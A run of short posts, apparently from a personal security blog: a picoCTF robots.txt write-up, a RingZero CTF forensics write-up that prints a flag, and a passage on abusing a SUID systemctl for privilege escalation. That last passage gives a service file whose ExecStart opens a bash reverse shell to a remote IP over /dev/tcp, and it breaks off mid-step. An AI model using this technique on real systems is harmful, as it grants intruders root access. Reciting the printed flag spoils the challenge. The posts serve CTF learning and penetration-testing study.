picoCTF2018 – web – Mr. Robots

Objective:

Do you see the same things I see? The glimpses of the flag hidden away? http://2018shell.picoctf.com:10157 (link [1] )

Hints:

(1) What part of the website could tell you where the creator doesn't want you to look?

Solution:

So the name and hints are telling use to look at robots.txt which is a file that is used to have search engines not scan certain directories

Lets check the robots.txt for this site

http://2018shell.picoctf.com:10157/robots.txt

User-agent: *

Disallow: /143ce.html

Ok they don’t want the robots to look at 143ce.html

http://2018shell.picoctf.com:10157/143ce.html

So much depends upon a red flag

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics - Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The
